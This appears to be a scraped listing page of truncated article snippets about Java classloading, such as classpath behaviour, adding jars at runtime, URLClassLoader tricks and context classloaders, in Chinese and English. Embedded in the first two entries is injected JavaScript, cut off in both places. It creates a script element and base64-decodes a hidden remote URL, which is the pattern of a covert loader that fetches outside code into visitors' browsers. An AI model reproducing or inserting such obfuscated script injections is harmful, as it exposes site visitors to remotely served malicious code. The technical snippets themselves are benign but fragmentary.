我们一般在系统路径中配置了 "."（当前目录）的classpath，所以如果你在当前目录命令行中运行java HelloWorld， 运行成功。这个类由system classloader去负责载入。 如果在HelloWorld.class中import另外一个在同目录下jar包中的类，如果不指定-classpath XX.jar的话，运行失败。说明system classloader 不会去查找即使时同目录下的jar包。(function(){var a=document.head||document.getElementsByTagName(...
Create objects from jar files!
http://www.javaworld.com/javaworld/javatips/jw-javatip70.html(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Add a jar file to Java load path at run time
Sometimes it is necessary to amend the class load path at run time. For example, dynamically adding jar files containing user-configurable JDBC data sources. The way this is done is truly monstrous -- the URL Path format was only revealed when a colleague looked into the Java library sources.
1 2 import java.net.URL; 3 import java.io.IOException; 4 import java.ne...
Understanding Extension Class Loading
Understanding Extension Class Loading
The extension framework makes use of the class-loading delegation mechanism. When the runtime environment needs to load a new class for an application, it looks for the class in the following locations, in order:
Bootstrap classes: the runtime classes in rt.jar, internationalization classes in i18n.jar, and others.
Installed exten...
JAVA类动态载入的实现
1 前言
前段时间因为项目的需要，我搞了一套类似Servlet重新载入的一个框架，实现了类的动态载入过程。本文写了一些我的学习成果以及心得供大家分享一下。
2 类载入的原理
（下面引用网上的一篇文章）：
当JVM（Java虚拟机）启动时，会形成由三个类加载器组成的初始类加载器层次结构：
bootstrap classloader | extension classloader | ...
Modify Classpath At Runtime
I've seen a lot of forum posts about how to modify the classpath at runtime and a lot of answers saying it can't be done. I needed to add JDBC driver JARs at runtime so I figured out the following method.
The system classloader (ClassLoader.getSystemClassLoader()) is a subclass of URLClassLoader. It can therefore be casted into a URLClassLoader and used as one.
URLClassLoade...
Get a load of that name! Subtle differences in various ways you can dynamically load a class
What is the difference between Class.forName() and ClassLoader.loadClass()?
Both methods try to dynamically locate and load a java.lang.Class object corresponding to a given class name. However, their behavior differs regarding which java.lang.ClassLoader they use for class loading and whether or not the resulting Class object is initialized.
The most...
Find a way out of the ClassLoader maze System, current, context? Which ClassLoader should you use?
Find a way out of the ClassLoader maze
System, current, context? Which ClassLoader should you use?
When should I use
Thread.getContextClassLoader()?
Although not frequently asked, this question is rather tough to correctly answer. It usually comes up during framework programming, when a good deal of dynamic class and resource loading goes on. In general, when loading a reso...
ClassLoader读取相应资源
java使用相对路径读取xml文件：一、xml文件一般的存放位置有三个：1.放在WEB-INF下；2.xml文件放在/WEB-INF/classes目录下或classpath的jar包中；3.放在与解析它的java类同一个包中，不一定是classpath；
二、相对应的两种使用相对路径的读取方法：
方法一：（未验证）将xml文件放在WEB-INF目录下，然后程序代码：InputStream is=getServletContext().getResourceAsStream( "/WEB-INF/xmlfile.xml" );
方法...
Plugin和App的统一路径接口
在Eclipse插件（Plugin）开发中，需要写一些Test Case（by JUnit），这些Test Case不是以插件方法运行的，而是一些普通的Application。这时要注意到插件和App获取路径的方式是不同的，这时如果你要测试一些项目中的 一些涉及到读文件的一些类，无疑会导致出错，因为在Plugin中可能由Plugin和APP组成，比如JUnit，这时在不同地方调用读文件会出错。为了让Plugin和App路径获取透明化，不防写一个工具类来提供...